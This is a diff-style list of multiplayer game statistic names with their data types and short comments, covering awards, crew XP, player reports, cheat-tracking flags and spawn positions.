+(int)AWD_FMOVERALLKILLS // Add MP0_ or MP1_ // Get all the services +(int)AWD_FMWINSEARACE // Add MP0_ or MP1_ // Get all the services +(int)AWD_FMWINAIRRACE // Add MP0_ or MP1_ // Get all the services +(int)AWD_FMREVENGEKILLSDM // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FMKILLSTREAKSDM // Add MP0_ or MP1_ // Get all the services +(u64)AWD_FMTIME5STARWANTED // Add MP0_ or MP1_ // Get all the services +(bool)AWD_FMFURTHESTWHEELIE // Add MP0_ or MP1_ // Get all the services +(u64)AWD_FMDRIVEWITHOUTCRASH // Add MP0_ or MP1_ // Get all the services +(int)AWD_FMMOSTFLIPSINONEVEHICLE // Add MP0_ or MP1_ // Get all the services +(int)AWD_FMMOSTSPINSINONEVEHICLE // Add MP0_ or MP1_ // Get all the services + +(int)BOUNTTARG // Add MP0_ or MP1_ // Bounties placed on other players by you + +(int)BOUNTSONU // Add MP0_ or MP1_ // Bounties placed on other players by you +(int)BOUNTPLACED // Add MP0_ or MP1_ // Bounties placed on you +(int)VEHEXPORTED // Add MP0_ or MP1_ // Cars exported +(int)BETAMOUNT // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(int)GHKILLS // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(int)HORDELVL // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(int)HORDKILLS // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(int)UNIQUECRATES // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(int)BJWINS // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(int)HORDEWINS // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(int)MCMWINS // Add MP0_ or MP1_ // MIssion created mission Wins +(int)GANGHIDWINS // Add MP0_ or MP1_ // MIssion created mission Wins + +(int)CRARMWREST // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CRBASEJUMP // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CRDARTS // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CRDM // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CRGANGHIDE // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CRGOLF // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CRHORDE // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CRMISSION // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CRSHOOTRNG // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)CRTENNIS // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script + + +(date)REW_DAILY_DM // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(date)REW_DAILY_RACE // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(date)REW_DAILY_MISS // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(date)REW_DAILY_DM_WIN // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(date)REW_DAILY_RACE_WIN // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(date)REW_DAILY_MISS_WIN // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script + +(date)REW_DAILY_5_MISS // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)REW_DAILY_5_MISS_COUNTER // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script + +(int)REW_10_CREATOR_MISS // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)REW_RSTAR_VER_COMP_COUNT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)REW_PLAY_OWN_MISS_COUNT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(int)REW_PLAY_OTHER_MISS_COUNT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)REW_PLAY_CREATE_1_TYPE // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)REW_BOOL_PLAY_OTHER_MISS // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)REW_BOOL_PLAY_RSTAR_MISS // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script + + +(bool)PLANE_ACCESS // Add MP0_ or MP1_ // Says if the player has access to a Plane for . +(bool)BOAT_ACCESS // Add MP0_ or MP1_ // Says if the player has access to a Boat for . +(bool)HELI_ACCESS // Add MP0_ or MP1_ // Says if the player has access to a Heli for . + + +(int)CHAR_MOOD_NORMAL // Add MP0_ or MP1_ // Says if the player has access to a Heli for . +(int)CHAR_MOOD_RACES // Add MP0_ or MP1_ // Says if the player has access to a Heli for . +(int)CHAR_MOOD_DM // Add MP0_ or MP1_ // Says if the player has access to a Heli for . + + +(int)NO_BOUGHT_YUM_SNACKS // Add MP0_ or MP1_ // Says if the player has access to a Heli for . +(int)NO_BOUGHT_HEALTH_SNACKS // Add MP0_ or MP1_ // Says if the player has access to a Heli for . +(int)NO_BOUGHT_EPIC_SNACKS // Add MP0_ or MP1_ // Says if the player has access to a Heli for . + + +(int)PROPERTY_HOUSE // Add MP0_ or MP1_ // Stores what house player has purchased + +(int)AWD_TEMPAWARDINT // Add MP0_ or MP1_ // Temp awards +(float)AWD_TEMPAWARDFLOAT // Add MP0_ or MP1_ // Temp awards +(bool)AWD_TEMPAWARDBOOL // Add MP0_ or MP1_ // Temp awards + + +(int)DM_CURRENT_KILLS // Add MP0_ or MP1_ // Deathmatch - Total DM KILLS the player has +(int)DM_CURRENT_ASSISTS // Add MP0_ or MP1_ // Deathmatch - Total DM ASSISTS player has +(int)DM_CURRENT_DEATHS // Add MP0_ or MP1_ // Deathmatch - Total DM DEATHS player has +(int)DM_HIGHEST_KILLSTREAK // Add MP0_ or MP1_ // Deathmatch - HIGHEST DM KILLSTREAK the player has +(short)DM_TOTAL_CASH // Add MP0_ or MP1_ // Deathmatch - Total DM CASH player has +(int)DM_TOTAL_ASSISTS // Add MP0_ or MP1_ // Deathmatch - Total DM ASSISTS player has +(int)FM_PRIM_COLOUR // Add MP0_ or MP1_ // MP Char 0 - Colour the player set the car at +(int)FM_SECO_COLOUR // Add MP0_ or MP1_ // MP Char 0 - Colour the player set the car at +(int)SHOOTINGRANGE_GRID_SCORE // Add MP0_ or MP1_ // MPPLAYER - Best score achieved in the Shooting Range GRID round +(int)SHOOTINGRANGE_RAND_SCORE // Add MP0_ or MP1_ // MPPLAYER - Best score achieved in the Shooting Range RANDOM round +(int)SHOOTINGRANGE_COV_SCORE // Add MP0_ or MP1_ // MPPLAYER - Best score achieved in the Shooting Range COVERED round + + +(int)CHAR_CREWUNLOCK_1_UNLCK // Add MP0_ or MP1_ // MP Char 0 - Player Kit Unlocked bitset 1 +(bool)FRONT_END_JIP_UNLOCKED // Add MP0_ or MP1_ // True when the character has gotten through the tutorial + + +(bool)MPPLY_FM_CINEMA_CORONA_HELP // Help text the first time the player enters a cinema corona in freemode +(bool)MPPLY_FM_DONE_MISS_CORONA_HELP // Help text the first time the player enters a mission corona in freemode +(bool)MPPLY_FM_DONE_ARMW_CORONA_HELP // Help text the first time the player enters an arm wrestling corona in freemode +(bool)MPPLY_FM_DONE_DARTS_CORONA_HELP // Help text the first time the player enters a darts corona in freemode +(bool)MPPLY_FM_DONE_SHOOT_CORONA_HELP // Help text the first time the player enters a shooting range corona in freemode +(bool)MPPLY_FM_DONE_TNS_CORONA_HELP // Help text the first time the player enters a tennis corona in freemode +(bool)MPPLY_FM_DONE_GOLF_CORONA_HELP // Help text the first time the player enters a golf corona in freemode +(bool)MPPLY_FM_DONE_HRD_CORONA_HELP // Help text the first time the player enters a horde corona in freemode +(bool)MPPLY_FM_DONE_RC_CORONA_HELP // Help text the first time the player enters a race corona in freemode +(bool)MPPLY_FM_DONE_DM_CORONA_HELP // Help text the first time the player enters a DM corona in freemode +(bool)MPPLY_DONE_RACE_CREATOR_TUT // MP Char 0 - PERSONAL -Has player completed the race-creator tutorial +(u64)MPPLY_TOTAL_TIME_SPENT_DEATHMAT // MP Char 0 - PERSONAL -Total time spent in Deathmatch +(u64)MPPLY_TOTAL_TIME_SPENT_FREEMODE // MP Char 0 - PERSONAL -Total time spent in Freemode +(u64)MPPLY_TOTAL_TIME_MISSION_CREATO // MP Char 0 - PERSONAL -Total time spent in Mission Creator +(u64)MPPLY_TOTAL_TIME_SPENT_RACES // MP Char 0 - PERSONAL -Total time spent in Races +(u64)MPPLY_TOTAL_TIME_SPENT_ON_MISS // MP Char 0 - PERSONAL -Total time spent on mission +(int)MPPLY_TOTAL_RACES_WON // Total Races won +(int)MPPLY_TOTAL_RACES_LOST // Total Races won +(int)MPPLY_TOTAL_CUSTOM_RACES_WON // Total Races won in a custom vehicle +(int)MPPLY_TOTAL_DEATHMATCH_LOST // Total DM won +(int)MPPLY_TOTAL_DEATHMATCH_WON // Total DM won +(int)MPPLY_TOTAL_TDEATHMATCH_LOST // Total DM won +(int)MPPLY_TOTAL_TDEATHMATCH_WON // Total DM won + +(u32)MPPLY_LAST_REPORT_PENALTY // The last time a player took a report strength penalty +(u32)MPPLY_LAST_COMMEND_PENALTY // The last time a player took a commend strength penalty +(u32)MPPLY_LAST_REPORT_RESTORE // The last time a player took a report strength penalty +(u32)MPPLY_LAST_COMMEND_RESTORE // The last time a player took a report strength penalty +(int)MPPLY_REPORT_STRENGTH // The amount to be added to the report stats (default of 16) +(int)MPPLY_COMMEND_STRENGTH // The amount to be added to the commend stats (default of 16) + +(int)MPPLY_GRIEFING // Total reports of Griefing +(int)MPPLY_VC_ANNOYINGME // Voice Chat: Annoying Me reports +(int)MPPLY_VC_HATE // Voice Chat: Using Hate reports +(int)MPPLY_TC_ANNOYINGME // Text Chat: Annoying Me reports +(int)MPPLY_TC_HATE // Text Chat: Using Hate reports + +(int)MPPLY_OFFENSIVE_LANGUAGE // Total reports of Offensive Language +(int)MPPLY_OFFENSIVE_TAGPLATE // Total reports for offensive emblem, crew, or UGC + + + +(int)MPPLY_OFFENSIVE_UGC // Total reports for offensive emblem, crew, or UGC +(int)MPPLY_BAD_CREW_NAME // Total reports of offensive crew name +(int)MPPLY_BAD_CREW_MOTTO // Total reports for offensive crew motto +(int)MPPLY_BAD_CREW_STATUS // Total reports for offensive crew status +(int)MPPLY_BAD_CREW_EMBLEM // Total reports for offensive emblem +(int)MPPLY_GAME_EXPLOITS // Total reports for offensive emblem, crew, or UGC +(int)MPPLY_EXPLOITS // Total reports for use of exploits + +(int)MPPLY_PLAYERMADE_TITLE // Total reports for player made titles (missions) +(int)MPPLY_PLAYERMADE_DESC // Total reports for Player made description (missions) + +(int)MPPLY_FRIENDLY // Total commends for being Friendly +(int)MPPLY_HELPFUL // Total commends for being Helpful + +(date)MPPLY_STARTED_MP // Date the player started playing MP +(int)MPPLY_KILLS_PLAYERS_CHEATER // Players Kill for cheater ratio +(int)MPPLY_DEATHS_PLAYERS_CHEATER // Players Deaths for cheater ratio + +(date)MPPLY_NON_CHEATER_CASH // Date the player started playing MP + +(bool)MPPLY_DONE_DM_CREATOR_TUT // MP Char 0 - PERSONAL -Has player completed the DM-creator tutorial +(bool)MPPLY_DONE_MISS_CREATOR_TUT // MP Char 0 - PERSONAL -Has player completed the DM-creator tutorial +(int)MPPLY_FM_ACTIVITY_HELP // Help text for freemode activities +(int)MPPLY_MISSIONS_CREATED // MP Char 0 - PERSONAL -Has player completed the DM-creator tutorial +(int)MPPLY_FM_NONMISS_HELP // Help text for non-mission freemode activities +(int)MPPLY_FM_RACE_MENU_HELP // Help text for race menu + + +(bool)MPPLY_ISPUNISHED // Sets to true when the player is on mission - used for reliability check +(int)MPPLY_LAST_MP_CHAR // stores the last character the player went in mp +(bool)MPPLY_FM_INTRO_CUT_DONE // Sets to True when the player has watched the Freemode Intro Cutscene +(int)MPPLY_FM_MISSION_LIKES // Sets to True when the player has watched the Freemode Intro Cutscene + + +(int)MPPLY_VEHSUPER // Freemode - Shop Data +(int)MPPLY_VEHSPORTS // Freemode - Shop Data +(int)MPPLY_VEHMUSCLE // Freemode - Shop Data +(int)MPPLY_VEHEXEC // Freemode - Shop Data +(int)MPPLY_VEHCLASS // Freemode - Shop Data +(int)MPPLY_VEHIMPORT // Freemode - Shop Data +(int)MPPLY_VEHIARMO // Freemode - Shop Data +(int)MPPLY_VEHISWAG // Freemode - Shop Data +(int)MPPLY_VEHIOFFRD // Freemode - Shop Data +(int)MPPLY_VEHIVANS // Freemode - Shop Data +(int)MPPLY_VEHIBIKES // Freemode - Shop Data +(int)MPPLY_VEHICYC // Freemode - Shop Data +(int)MPPLY_VEHIPLN // Freemode - Shop Data +(int)MPPLY_VEHIHELI // Freemode - Shop Data +(int)MPPLY_VEHIBOAT // Freemode - Shop Data + + +(float)MPPLY_CHAR_DIST_TRAVELLED // MP Char 0 - Total distance travelled. On Foot, car, boat, bike etc +(int)MPPLY_DEATHS_PLAYER // Number of deaths caused by other players +(int)MPPLY_KILLS_PLAYERS // Number of players killed +(int)MPPLY_DM_TOTAL_KILLS // Deathmatch - Total DM KILLS the player has + (int)MPPLY_DM_TOTAL_DEATHS // Deathmatch - Total DM DEATHS player has + +(short)MPPLY_GLOBALXP // Players Globals XP + + +(bool)MPPLY_CARAPP_DATA_SENT_0 // MPPLAYER - CarApp data has been setup for character slot +(bool)MPPLY_CARAPP_DATA_SENT_1 // MPPLAYER - CarApp data has been setup for character slot +(bool)MPPLY_CARAPP_DATA_SENT_2 // MPPLAYER - CarApp data has been setup for character slot +(bool)MPPLY_CARAPP_DATA_SENT_3 // MPPLAYER - CarApp data has been setup for character slot +(bool)MPPLY_CARAPP_DATA_SENT_4 // MPPLAYER - CarApp data has been setup for character slot + + +(int)MPPLY_TOTAL_SPENT // Players Globals XP +(int)MPPLY_TOTAL_EARNED // Players Globals XP + + + +(int)MPPLY_AWD_FM_CR_RACES_MADE // Game Awards +(int)MPPLY_AWD_FM_CR_DM_MADE // Game Awards +(int)MPPLY_AWD_FM_CR_PLAYED_BY_PEEP // Game Awards +(int)MPPLY_AWD_FM_CR_MISSION_SCORE // Game Awards + + +(int)MPPLY_SHOOTINGRANGE_WINS // MPPLAYER - Best score achieved in the Shooting Range RANDOM round +(int)MPPLY_SHOOTINGRANGE_LOSSES // MPPLAYER - Best score achieved in the Shooting Range COVERED round +(int)MPPLY_SHOOTINGRANGE_TOTAL_MATCH // MPPLAYER - Total Shooting Games Played +(bool)SHOOTINGRANGE_SEEN_TUT // Add MP0_ or MP1_ // MPPLAYER - Checks that the player has seen the Range Tutorial + + +(bool)TENNIS_SEEN_TUTORIAL // Add MP0_ or MP1_ // MPPLAYER - Checks that the player has seen the Tennis Tutorial. +(int)MPPLY_TENNIS_MATCHES_WON // MPPLAYER - Total tennis matches won +(int)MPPLY_TENNIS_MATCHES_LOST // MPPLAYER - Total tennis matches lost + + +(int)MPPLY_GOLF_WINS // MPPLAYER - Distance of longest putt that went in the cup +(int)MPPLY_GOLF_LOSSES // MPPLAYER - Distance of longest putt that went in the cup + + +(bool)DARTS_SEEN_TUTORIAL // Add MP0_ or MP1_ // MPPLAYER - Checks that the player has seen the darts Tutorial. +(int)MPPLY_DARTS_TOTAL_WINS // MPPLAYER - Total number of Dart game wins +(int)MPPLY_DARTS_TOTAL_MATCHES // MPPLAYER - Total number of Dart matches + + +(bool)ARMWRESTLING_SEEN_TUTORIAL // Add MP0_ or MP1_ // MPPLAYER - Checks that the player has seen the arm wrestling Tutorial. +(int)MPPLY_ARMWRESTLING_TOTAL_WINS // MPPLAYER - Total number of Arm Wrestling wins +(int)MPPLY_ARMWRESTLING_TOTAL_MATCH // MPPLAYER - Total number of Arm Wrestling matches + + +(int)MPPLY_CREW_CHALLENGE_WIN // MPPLAYER - Total number of Arm Wrestling matches +(int)MPPLY_CREW_HEAD2HEAD_WIN // MPPLAYER - Total number of Arm Wrestling matches + + + +(short)MPPLY_CREW_LOCAL_XP_0 // MPPLAYER 0 - Players local crew xp for team 0 +(short)MPPLY_CREW_LOCAL_XP_1 // MPPLAYER 0 - Players local crew xp for team 1 +(short)MPPLY_CREW_LOCAL_XP_2 // MPPLAYER 0 - Players local crew xp for team 2 +(short)MPPLY_CREW_LOCAL_XP_3 // MPPLAYER 0 - Players local crew xp for team 3 +(short)MPPLY_CREW_LOCAL_XP_4 // MPPLAYER 0 - Players local crew xp for team 4 +(bool)MPPLY_XP_REWARD_PLAYER_IN_CREW // MPPLAYER 0 - Players local crew xp for team 4 + + +(int)MPPLY_TIMES_FINISH_RACE_TOP_3 // MPPLAYER - Distance of longest putt that went in the cup +(int)MPPLY_TIMES_FINISH_RACE_LAST // MPPLAYER - Distance of longest putt that went in the cup +(int)MPPLY_TIMES_RACE_BEST_LAP // MPPLAYER - Distance of longest putt that went in the cup +(int)MPPLY_TIMES_FINISH_DM_TOP_3 // MPPLAYER - Distance of longest putt that went in the cup +(int)MPPLY_TIMES_FINISH_DM_LAST // MPPLAYER - Distance of longest putt that went in the cup + +(int)MPPLY_CRMISSION // MPPLAYER - Distance of longest putt that went in the cup +(int)MPPLY_MCMWIN // MPPLAYER - Distance of longest putt that went in the cup + +(int)MPPLY_CRHORDE // MPPLAYER - Distance of longest putt that went in the cup +(int)MPPLY_HORDEWINS // MPPLAYER - Distance of longest putt that went in the cup + +(int)MPPLY_CURRENT_CREW_RANK // Rank in the primary crew. +(int)MPPLY_NEXT_CREW_RANK // The next rank in the primary crew. + +(int)MPPLY_VOTED_OUT // The next rank in the primary crew. + +(int)MPPLY_VOTED_OUT_DELTA // The next rank in the primary crew. +(int)MPPLY_VOTED_OUT_QUIT // The next rank in the primary crew. + +(bool)MPPLY_WAS_I_BAD_SPORT // The next rank in the primary crew. +(bool)MPPLY_WAS_I_CHEATER // The next rank in the primary crew. + +(int)MPPLY_NEW_CONTENT // Store the content hash so it can be checked for a difference. + + +(int)MPPLY_CREW_0_ID // MPPLAYER 0 - Players GLOBAL crew xp for team 0 +(int)MPPLY_CREW_1_ID // MPPLAYER0 - Players GLOBAL crew xp for team 1 +(int)MPPLY_CREW_2_ID // MPPLAYER0 - Players GLOBAL crew xp for team 2 +(int)MPPLY_CREW_3_ID // MPPLAYER 0 - Players GLOBAL crew xp for team 3 +(int)MPPLY_CREW_4_ID // MPPLAYER 0 - Players GLOBAL crew xp for team 4 + +(u64)MPPLY_CREW_LOCAL_TIME_0 // Time in a crew +(u64)MPPLY_CREW_LOCAL_TIME_1 // Time in a crew +(u64)MPPLY_CREW_LOCAL_TIME_2 // Time in a crew +(u64)MPPLY_CREW_LOCAL_TIME_3 // Time in a crew +(u64)MPPLY_CREW_LOCAL_TIME_4 // Time in a crew + +(u64)CREW_LOCAL_TIME_0 // Add MP0_ or MP1_ // Time in a crew +(u64)CREW_LOCAL_TIME_1 // Add MP0_ or MP1_ // Time in a crew +(u64)CREW_LOCAL_TIME_2 // Add MP0_ or MP1_ // Time in a crew +(u64)CREW_LOCAL_TIME_3 // Add MP0_ or MP1_ // Time in a crew +(u64)CREW_LOCAL_TIME_4 // Add MP0_ or MP1_ // Time in a crew + +(int)MPPLY_CREW_NO_HEISTS_0 // Time in a crew +(int)MPPLY_CREW_NO_HEISTS_1 // Time in a crew +(int)MPPLY_CREW_NO_HEISTS_2 // Time in a crew +(int)MPPLY_CREW_NO_HEISTS_3 // Time in a crew +(int)MPPLY_CREW_NO_HEISTS_4 // Time in a crew + + +(short)MPPLY_CREW_HEIST_CASH_0 // Time in a crew +(short)MPPLY_CREW_HEIST_CASH_1 // Time in a crew +(short)MPPLY_CREW_HEIST_CASH_2 // Time in a crew +(short)MPPLY_CREW_HEIST_CASH_3 // Time in a crew +(short)MPPLY_CREW_HEIST_CASH_4 // Time in a crew + + + +(int)SPAWN_LOCATION_SETTING // Add MP0_ or MP1_ // MP setting, players spawn location +(int)PLAYER_TITLE_SETTING // Add MP0_ or MP1_ // MP setting, players title +(int)PLAYER_ANIM_SETTING // Add MP0_ or MP1_ // MP setting, players quick animation +(int)PLAYER_ANIM_VEH_SETTING // Add MP0_ or MP1_ // MP setting, players quick animation + +(int)LAST_PLAYED_CORONA_ANIM_TY // Add MP0_ or MP1_ // Last type of animation played in corona +(int)LAST_PLAYED_CORONA_ANIM // Add MP0_ or MP1_ // Last animation played in corona + +(int)LAST_PLAYED_CORONA_RADIO // Add MP0_ or MP1_ // Last radio station selected in corona + + + +(int)MPPLY_BJ_WINS // MPPLAYER - Lowest Score for a Round - Delta vs. Par +(int)MPPLY_BJ_LOST // MPPLAYER - Distance of longest drive that stopped on the fairway + + +(int)MPPLY_RACE_2_POINT_WINS // MPPLAYER - Lowest Score for a Round - Delta vs. Par +(int)MPPLY_RACE_2_POINT_LOST // MPPLAYER - Distance of longest drive that stopped on the fairway + + +(int)MPPLY_BRONZE_INTPLY_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_BRONZE_INTPLY_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_BRONZE_INTPLY_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_BRONZE_INTPLY_3 // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)MPPLY_BRONZE_FLOATPLY_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_BRONZE_FLOATPLY_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_BRONZE_FLOATPLY_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)MPPLY_SILVER_INTPLY_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_SILVER_INTPLY_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_SILVER_INTPLY_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_SILVER_INTPLY_3 // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)MPPLY_SILVER_FLOATPLY_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_SILVER_FLOATPLY_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_SILVER_FLOATPLY_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)MPPLY_GOLD_INTPLY_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_GOLD_INTPLY_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_GOLD_INTPLY_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_GOLD_INTPLY_3 // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)MPPLY_GOLD_FLOATPLY_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_GOLD_FLOATPLY_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_GOLD_FLOATPLY_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)MPPLY_PLATINUM_INTPLY_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_PLATINUM_INTPLY_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_PLATINUM_INTPLY_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_PLATINUM_INTPLY_3 // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)MPPLY_PLATINUM_FLOATPLY_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_PLATINUM_FLOATPLY_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPPLY_PLATINUM_FLOATPLY_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset + + +(int)MPPLY_FM_VEH_COLOUR_TYPE // MP Char 0 - The type of colour last picked by player +(int)MPPLY_FM_VEH_COLOUR // MP Char 0 - Colour the player set the car at + + +(int)MPPLY_DM_CHEAT_START // CHEAT TRACKING No of death matchs started +(int)MPPLY_DM_CHEAT_END // CHEAT TRACKING No of death matchs ended +(int)MPPLY_DM_CHEAT_QUIT // CHEAT TRACKING No of death matchs ended +(int)MPPLY_RACE_CHEAT_START // CHEAT TRACKING No of races started +(int)MPPLY_RACE_CHEAT_END // CHEAT TRACKING No of races ended +(int)MPPLY_RACE_CHEAT_QUIT // CHEAT TRACKING No of races quit +(int)MPPLY_MC_CHEAT_START // CHEAT TRACKING No of missions started +(int)MPPLY_MC_CHEAT_END // CHEAT TRACKING no of missions ended +(int)MPPLY_MC_CHEAT_QUIT // CHEAT TRACKING no of missions quit +(int)MPPLY_MGAME_CHEAT_START // No of races started +(int)MPPLY_MGAME_CHEAT_END // No of races ended +(int)MPPLY_MGAME_CHEAT_QUIT // No of races ended + +(int)MPPLY_AVERAGE_RTT // Average client RTT with the host. + +(float)MPPLY_OVERALL_CHEAT // Number of times cheated +(float)MPPLY_OVERALL_BADSPORT // Number of times cheated +(bool)MPPLY_CHAR_IS_BADSPORT // Track when a player has been flaged as a cheater + +(int)MPPLY_BECAME_BADSPORT_NUM // Number of times cheated +(int)MPPLY_BECAME_CHEATER_NUM // Number of times cheated + +(date)MPPLY_BECAME_CHEATER_DT // Number of times cheated +(date)MPPLY_BECAME_BADSPORT_DT // Number of times cheated + +(int)MPPLY_ACTIVITY_STARTED // Number of times cheated +(int)MPPLY_ACTIVITY_ENDED // Number of times cheated +(int)MPPLY_ACTIVITY_QUIT // Number of times cheated + +(int)MPPLY_OVERALL_SESSION_COUNT // Number of times cheated + +(int)MPPLY_BADSPORT_MESSAGE // Number of times cheated + +(int)MPPLY_DESTROYED_PVEHICLES // Number of times cheated + + + + +(int)MPPLY_BETTING_ODDS_SETTING // MP setting, players betting odds format +(bool)MPPLY_CREW_SETTINGS // If settings are set while in a crew + + + +(int)MPGEN_BRONZE_INTGEN_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_BRONZE_INTGEN_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_BRONZE_INTGEN_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_BRONZE_FLOATGEN_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_BRONZE_FLOATGEN_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_BRONZE_FLOATGEN_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)MPGEN_SILVER_INTGEN_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_SILVER_INTGEN_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_SILVER_INTGEN_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_SILVER_FLOATGEN_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_SILVER_FLOATGEN_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_SILVER_FLOATGEN_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)MPGEN_GOLD_INTGEN_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_GOLD_INTGEN_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_GOLD_INTGEN_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_GOLD_FLOATGEN_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_GOLD_FLOATGEN_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_GOLD_FLOATGEN_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset + +(int)MPGEN_PLATINUM_INTGEN_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_PLATINUM_INTGEN_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_PLATINUM_INTGEN_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_PLATINUM_FLOATGEN_0 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_PLATINUM_FLOATGEN_1 // MP Char 0 - Player Int Char Awards Platinum Level bitset +(int)MPGEN_PLATINUM_FLOATGEN_2 // MP Char 0 - Player Int Char Awards Platinum Level bitset + + + +(pos)MPPLY_SPAWN_POSITION_1 // MPPLAYER - Spawn position +(pos)MPPLY_SPAWN_POSITION_2 // MPPLAYER - Spawn position +(pos)MPPLY_SPAWN_POSITION_3 // MPPLAYER - Spawn position +(pos)MPPLY_SPAWN_POSITION_4 // MPPLAYER - Spawn position +(pos)MPPLY_SPAWN_POSITION_5 // MPPLAYER - Spawn position +(pos)MPPLY_SPAWN_POSITION_6 // MPPLAYER - Spawn position +(pos)MPPLY_SPAWN_POSITION_7 // MPPLAYER - Spawn position +(pos)MPPLY_SPAWN_POSITION_8 // MPPLAYER - Spawn position +(pos)MPPLY_SPAWN_POSITION_9 // MPPLAYER - Spawn position +(pos)MPPLY_SPAWN_POSITION_10 // MPPLAYER - Spawn position + +(bool)MPPLY_AUTOMUTE_MESSAGE // MPPLAYER - Real money player has spent in store + +(int)MPPLY_INGAMESTORE_MONEYSPENT // MPPLAYER - Real money player has spent in store + +(float)MPPLY_KILL_DEATH_RATIO // MP player 0 - COP -kill death percentage ratio. + +(bool)MPPLY_NEED_TO_UPDATE_HEADSHOT // MP player 0 - COP kill death percentage ratio. + +(int)FM_CUT_DONE // Add MP0_ or MP1_ // Track which cutscenes have beend 